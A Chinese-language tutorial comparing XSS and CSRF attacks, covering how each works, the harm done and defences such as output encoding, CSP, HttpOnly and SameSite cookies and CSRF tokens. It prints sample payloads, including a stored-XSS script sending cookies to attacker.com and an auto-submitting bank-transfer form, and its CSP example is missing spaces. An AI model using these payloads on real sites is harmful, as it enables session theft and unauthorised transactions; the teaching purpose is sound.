一、核心区别速览
| 对比维度 | XSS（跨站脚本攻击） | CSRF（跨站请求伪造） |
|---|---|---|
| 攻击原理 | 攻击者将恶意脚本注入到目标网站，当用户访问该网站时，浏览器执行恶意脚本。 | 利用浏览器自动携带 Cookie 的特性，诱使用户在已登录状态下，向目标网站发送非自愿的请求。 |
| 攻击核心 | 窃取用户敏感信息，如 Cookie、会话令牌等。 | 以用户身份执行非授权操作，如转账、修改密码、发布内容等。 |
| 依赖条件 | 目标网站存在输入过滤不严格或未对输出进行编码的漏洞。 | 用户已登录目标网站，且浏览器自动携带该网站的 Cookie。 |
| 数据流向 | 攻击者 → 注入恶意脚本到目标网站 → 用户浏览器执行脚本 → 数据被窃取并发送给攻击者。 | 攻击者 → 诱使用户浏览器发送请求 → 目标网站接收请求（携带 Cookie）→ 执行恶意操作。 |
| 防御重点 | 严格过滤和转义用户输入，限制脚本执行，使用 HttpOnly Cookie。 | 使用 CSRF Token 验证请求合法性，设置 SameSite 属性，验证请求来源。 |
二、攻击原理详解
2.1 XSS 攻击原理
XSS 攻击的核心在于恶意脚本的注入与执行。根据注入方式，XSS 可分为三种类型：
- 反射型 XSS：恶意脚本通过 URL 参数等方式传递，在服务器响应时直接反射到页面，用户访问特定 URL 时触发。
<!-- 恶意URL示例 -->
http://example.com/search?q=<script>alert('XSS')</script>
- 存储型 XSS：恶意脚本被存储在服务器端（如数据库），当其他用户访问相关页面时，脚本被加载并执行。常见于论坛、评论区等用户可提交内容的场景。
<!-- 恶意评论内容 -->
<script>document.location='http://attacker.com/steal?cookie='+document.cookie;</script>
- DOM 型 XSS：通过修改页面的 DOM 结构，将恶意脚本注入到浏览器执行环境中。
// 页面代码存在漏洞
const param = location.hash.slice(1);
document.getElementById('target').innerHTML = '<div>' + param + '</div>';
// 恶意URL触发攻击
http://example.com/#<script>alert('XSS')</script>
2.2 CSRF 攻击原理
CSRF 攻击不直接窃取用户信息，而是利用用户已登录的会话状态，伪装成用户发送恶意请求。攻击者无法直接获取 Cookie，但能诱使浏览器自动携带 Cookie 发起请求。
- GET 请求攻击：攻击者构造一个包含恶意操作的 URL，诱使用户点击。
<!-- 恶意链接 -->
<a href="https://bank.com/transfer?to=attacker&amount=1000">点击领取奖品</a>
- POST 请求攻击：通过隐藏表单自动提交，在用户无感知的情况下执行操作。
<form action="https://bank.com/transfer" method="POST">
<input type="hidden" name="to" value="attacker">
<input type="hidden" name="amount" value="1000">
</form>
<script>document.forms[0].submit();</script>
三、危害与影响
3.1 XSS 的危害
- 窃取用户身份：获取用户 Cookie，登录会话被盗取，导致账户被劫持。
- 篡改页面内容：恶意修改页面展示，传播虚假信息或钓鱼链接。
- 传播恶意软件：通过脚本下载并执行恶意程序，威胁用户设备安全。
3.2 CSRF 的危害
- 资金损失：在金融类网站上执行转账、支付等操作，导致用户财产受损。
- 账号被篡改：修改用户个人信息、密码，控制用户账号。
- 非法操作：以用户名义发布垃圾信息、恶意评论，损害网站声誉。
四、防御策略
4.1 XSS 防御
- 输入过滤与输出编码：对用户输入进行严格过滤，禁止特殊字符；对输出内容进行 HTML 编码，防止脚本执行。
<!-- 输出编码示例 -->
<div>{{ user_input | escape }}</div>
- 内容安全策略（CSP） ：通过设置 HTTP 头，限制页面可加载的资源来源，阻止恶意脚本执行。
Content-Security-Policy: default-src'self'; script-src'self'
- HttpOnly Cookie：设置 Cookie 的HttpOnly属性，禁止 JavaScript 访问，防止 Cookie 被窃取。
Set-Cookie: session_id=12345; HttpOnly; Secure
4.2 CSRF 防御
- CSRF Token：在表单或请求中添加随机令牌，服务器验证令牌合法性。
<form>
<input type="hidden" name="csrf_token" value="{{ csrf_token }}">
</form>
- SameSite 属性：设置 Cookie 的SameSite属性为Strict或Lax，限制跨站请求携带 Cookie。
Set-Cookie: session_id=12345; SameSite=Lax; Secure
- 验证请求来源：检查请求的Referer或Origin头，确保请求来自合法域名。
总结： 防御 XSS 的关键在于严格控制输入输出，限制脚本执行；而防御 CSRF 则需要验证请求合法性，保护用户会话状态
